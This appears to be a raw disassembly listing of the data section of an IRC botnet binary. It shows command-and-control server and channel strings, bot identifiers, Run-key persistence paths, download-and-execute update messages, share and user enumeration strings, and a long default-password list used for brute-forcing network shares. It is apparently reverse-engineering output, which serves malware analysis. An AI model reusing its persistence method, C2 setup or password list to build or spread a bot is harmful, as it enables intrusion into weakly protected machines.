db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
; DATA XREF: sub_40CAF1+358o
dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h
dd 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o
; sub_40EE72+2B48o ...
align 4
unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 10h
unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo
; sub_40DF4E+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o
align 4
off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo
aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o
; sub_40D24E+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co
align 4
unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o
; ---------------------------------------------------------------------------
loc_42E75C: ; DATA XREF: sub_40D4C5+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_40D4C5+13Fo
dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o
; sub_40EE72+623o
aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo
; sub_40EE72+62Fo
align 10h
off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r
; sub_40DAF0+51r ...
; "Add"
off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr
; sub_40DAF0+83r ...
; "Added"
dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o
aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo
align 4
aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o
dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D719+67o
dd 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D719+51o
dd 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D719+33o
dd 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40D835:loc_40D93Fo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40D835:loc_40D938o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40D835:loc_40D931o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40D835:loc_40D92Ao
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40D835:loc_40D91Co
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40D835:loc_40D915o
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40D835:loc_40D90Eo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40D835:loc_40D8E3o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40D835:loc_40D8DCo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40D835:loc_40D8D5o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40D835:loc_40D8CEo
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40D835:loc_40D8A3o
db 'dependent on it.',0
align 10h
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40D835:loc_40D87Bo
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40D9B3+25o
align 4
dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAF0+ACo
dd 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAF0+8Ao
dd 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAF0+58o
dd 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DCE6+76o
dd 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40DCE6+26o
align 4
dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE07+B7o
dd 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE07+95o
dd 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE07+6Do
dd 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DF4E+3AFo
dd 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo
; ___:0042F774o ...
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
align 4
dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E337+F7o
dd 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo
align 4
dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E337+7Ao
dd 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40E4B7:loc_40E59Bo
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40E4B7+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40E4B7:loc_40E506o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
align 10h
dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E5EB+ABo
dd 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E5EB+81o
dd 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 10h
dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr
; ___:0040EAFFr
dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br
dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br
; sub_40EE72+52E6r
dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r
; sub_40EE72:loc_41424Dr
dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r
dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r
dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr
; ___:loc_40E9D8r
byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr
; sub_40EE72+B05r ...
align 4
dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br
; sub_415996+51r ...
dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r
; sub_40EE72+279r ...
a8652 db '8652',0
align 4
aCool_0 db 'cool',0
align 10h
aMan db 'man',0
align 8
aSym db 'sym',0
dd 0
db 2 dup(0)
byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r
; sub_40EE72+4EDCo
aAsn445 db 'asn445',0
align 4
dd 100h, 3 dup(0)
aBotid db 'botid',0 ; DATA XREF: ___:0040E703o
; sub_40EE72+3E42o ...
align 4
aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o
align 4
aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o
; sub_40EE72+61F8o
align 4
aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
; ___:0040EAF0o
aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o
; ___:0040EB06o
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo
; ___:0040EB18o
align 10h
byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er
; ___:0040EB3Co
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o
align 4
aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o
align 4
byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo
; sub_4030E8+81o ...
db 69h, 72h, 73h
dd 69777374h, 78652E6Eh, 65h
dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo
align 4
aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o
align 4
aFirstswin_exe db 'firstswin.exe',0
align 4
aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o
aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120F1o
; sub_40EE72+509Co
align 4
aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo
align 10h
aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o
align 4
off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo
; "*@admin.com"
off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr
; sub_40EE72+6198o
; "h4cker tool"
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
; sub_4162AC+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
; sub_4162AC+D4o
align 4
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
dd offset byte_43C80C
dd offset byte_43C80C
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_1 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_434C2C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_4289BC
